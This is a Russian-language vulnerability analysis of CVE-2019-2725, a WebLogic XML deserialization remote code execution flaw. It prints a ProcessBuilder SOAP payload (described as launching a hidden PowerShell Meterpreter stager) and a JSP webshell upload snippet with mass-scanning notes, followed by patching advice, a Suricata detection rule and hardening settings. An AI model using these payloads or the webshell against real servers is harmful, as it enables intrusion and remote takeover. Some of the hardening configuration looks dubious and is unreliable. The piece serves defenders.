
Уязвимость BDU:2019-01748 (CVE-2019-2725) Oracle WebLogic Server
Уязвимость BDU:2019-01748 (CVE-2019-2725) затрагивает компоненты WLS9_ASYNC и WLS-WSAT сервера Oracle WebLogic. Проблема возникает из-за некорректной десериализации XML-данных в обработчиках асинхронных сервисов, позволяя удаленному злоумышленнику выполнить произвольный код через специальный HTTP-запрос.
Анализ уязвимости
Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки:
-
AV:N (Вектор атаки: Сетевой)
-
AC:L (Сложность эксплуатации: Низкая)
-
PR:N (Уровень привилегий: Не требуется)
-
UI:N (Вовлечение пользователя: Не требуется)
-
S:U (Влияние на другие системы: Не оказывает)
-
C:H/I:H/A:H (Полное нарушение CIA: Конфиденциальность/Целостность/Доступность)
Условия эксплуатации
-
Версии WebLogic Server 10.3.6.0 и 12.1.3.0
-
Открытые порты 7001/TCP (или другие используемые WLS)
-
Доступ к эндпоинтам
/_async/AsyncResponseService
или/wls-wsat/CoordinatorPortType
-
Отсутствие патчей апреля 2019 года (CPU Apr 2019)
Анализ эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2019-2725.
Эксплоит №1: Прямое выполнение команд
# Основной вектор - передача команды через ProcessBuilder data = """ <work:WorkContext> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>cmd</string></void> <void index="1"><string>/c</string></void> <void index="2"><string>%s</string></void> # Внедряемая команда </array> <void method="start"/> </void> </work:WorkContext> """ % (exploit)
Механизм работы:
-
Создает SOAP-запрос с внедрением в WorkContext
-
Использует
java.lang.ProcessBuilder
для запуска командной строки -
Выполняет PowerShell-команду в скрытом режиме (
-w hidden -e
) -
Base64-полезная нагрузка содержит staged Meterpreter
Эксплоит №2: Загрузка веб-шелла
# Полезная нагрузка для JSP-шелла webshell = """<%@page import="java.util.*,java.io.*"%> <% if ("cmd".equals(request.getParameter("p))) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); // ... вывод результата ... } %>""" # Запрос с внедрением файла headers = {'fileName': '.s8Jn4gWlqX2c592.jsp'} requests.post(url, data=webshell, headers=headers)
Особенности:
-
Загружает JSP-шелл в
/_async/
-
Поддерживает команды через параметр
?cmd=whoami
-
Автоматическое определение версии WLS (10.3.6 vs 12.1.3)
-
Работает через пул потоков для массового сканирования
Защитные меры
-
Базовая защита:
-
Установить патч Oracle CPU April 2019
-
Отключить ненужные компоненты:
# В конфигурации domain.xml <component name="WLS9_ASYNC" enabled="false"/>
-
-
IPS правила (Suricata):
alert http any any -> $HOME_NET 7001 ( \ msg:"CVE-2019-2725 - Oracle WebLogic RCE Attempt"; \ flow:to_server; \ content:"/_async/AsyncResponseService|2f 77 6c 73 2d 77 73 61 74 2f|"; \ content:"WorkContext"; nocase; \ pcre:"/<void class=\"java\.lang\.ProcessBuilder\"/i"; \ classtype:web-application-attack; \ sid:201901748; rev:2;)
-
Runtime-защита для Java:
Добавить вstartWebLogic.sh
:
JAVA_OPTIONS=" -Dorg.apache.commons.jxpath.compiler.Compiler.PATH_COMPILER=restrict -Dweblogic.wsee.workarea.skip=true -Dcom.sun.org.apache.xml.internal.security.ignoreLineBreaks=true --illegal-access=deny "
-
Сетевые контрмеры:
-
Сегментировать сеть: доступ к WLS только из DMZ
-
TLS mutual authentication для админ-интерфейсов
-
Rate-limiting на Nginx:
location ~ ^/(_async|wls-wsat)/ { limit_req zone=weblogic burst=5 nodelay; deny all; # Разрешать только для доверенных IP }
-
